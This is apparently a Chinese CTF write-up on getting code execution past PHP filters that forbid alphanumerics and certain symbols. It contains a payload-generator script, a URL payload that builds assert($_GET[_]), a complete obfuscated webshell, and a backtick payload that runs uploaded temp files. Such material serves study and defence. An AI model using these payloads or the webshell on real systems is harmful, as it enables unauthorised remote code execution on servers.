0x01 过滤了数字和字母
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
?>
位运算
这里提供一个“或”运算的脚本,其他运算只需要稍微修改
import re
from urllib.parse import unquote
import requests
preg = '[0-9a-z]'#(\^)(\+)(\~)(\$)(\[)(\])(\{)(\})(\&)(\-)]'可以自己改正则
filename = 'Or.txt'
with open(filename, "w") as file_ob:
pass
for i in range(256):
if re.match(preg,chr(i),re.I):
continue
for j in range(256):
if re.match(preg,chr(j),re.I):
continue
else:
if(i < 16):
hexI = '%0' + hex(i)[2:]
else:
hexI = '%' + hex(i)[2:]
if(j < 16):
hexJ = '%0' + hex(j)[2:]
else:
hexJ = '%' + hex(j)[2:]
if((i|j) >= 32 and (i|j) <= 126):
#print(chr(i) + '|'+ chr(j) + " = " + chr(i|j) + '--------' , i ,'|' , j , '=' , (i|j))
with open(filename, "a") as file_ob:
file_ob.write(hexI + '|'+ hexJ + "=" + str(chr(i|j))
+ '--------' + str(i) + '|' + str(j) + '=' + str((i|j)) + "\n")
def rep(args):
payload = ''
payload1 = ''
payload2 = ''
with open(filename) as file_ob:
lines = file_ob.readlines()
for i in args:
for line in lines:
#print(line)
if line[8] == i:
#print('(\"'+ line[:3] + '\"|\"' + line[4:7] + '\")', end = "")
payload1 += line[:3]
payload2 += line[4:7]
break
#print(payload)
payload = '\"' + payload1 + '\"|\"'+ payload2 + '\"'
return payload
running = True
while running:
exp = rep(input("your payload:\n"))
print("URL编码",exp)
print("无URL编码",unquote(exp))
#url = 'http://'
#data = {'c': unquote(exp)}
#headers = {"Content-Type": "application/x-www-form-urlencoded"}
#r = requests.post(url, data = data)
print("-------------结果--------------")
#print(r.text)
print("\n")
PHP5可以使用assert
动态执行代码, 在PHP官方文档中,告诉我们PHP7中assert
不再可以动态执行代码,但是实测(PHP7.0)还是可以动态调用,再往上似乎就不可以了(测试了5.6.9、7.0.9、7.1.9、7.2.9、7.3.4)
所以对于可用的版本我们用以下的payload
?shell=$_=(%22%01%22|%22%60%22).(%22%13%22|%22%60%22).(%22%13%22|%22%60%22).(%22%05%22|%22%60%22).(%22%12%22|%22%60%22).(%22%14%22|%22%60%22);$__=(%22%00%22|%22%5f%22).(%22%07%22|%22%40%22).(%22%05%22|%22%40%22).(%22%14%22|%22%40%22);$___=$$__;$_($___[_]);&_=phpinfo();
$_=(%22%01%22|%22%60%22).(%22%13%22|%22%60%22).(%22%13%22|%22%60%22).(%22%05%22|%22%60%22).(%22%12%22|%22%60%22).(%22%14%22|%22%60%22);//每个括号中或运算后是一个字母: a s s e r t, 脚本跑出来的只是格式和这个不一样
$__=(%22%00%22|%22%5f%22).(%22%07%22|%22%40%22).(%22%05%22|%22%40%22).(%22%14%22|%22%40%22);//_ G E T
$___=$$__;
$_($___[_]);//相当于执行了assert($_GET[_]);
还有一种和汉字取反运算的,不过我觉得还没有这个通用,就不写了,原理一样,可以看参考中师傅文章
自增
首先看下PHP文档(嗯…就是那个很迷,描述和实际结果冲突的官方文档)中的自增描述
可以看到PHP的自增并不会像C语言一样根据按ASCII值继续往下加,而是会像”数数”一样。这样只要我们能得到一个字母,就可以通过自增获得assert
,而且PHP对大小写不敏感,更加的好了呢: )
PHP中把字符串和数组和拼接,会变成值为Array
的一个字符串
师傅的webshell
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
?>
但是感觉一般题目引号会被禁止,有局限性
0x02 过滤了字母数字、美元符号和下划线,且限制了大小
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
?>
利用PHP7的表达式执行顺序
所以可以使用('function_name')();
来执行函数。
还是可以利用位运算
PHP5下利用Shell执行服务器默认上传位置的代码
要写的挺多的,详情请查看师傅的文章
payload:?><?=`. /???/????????[@-[]`;?>
还要在报文中手动创建一个文件上传的POST报文,如果不会自己写(或者像我一样懒得自己写),可以先在本地创建一个表单,然后抓包复制
不过此方法只适用于Linux,而且因为php默认保存文件是随机的,而payload只匹配有大写的,所以要多试几次。
0x03 参考
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html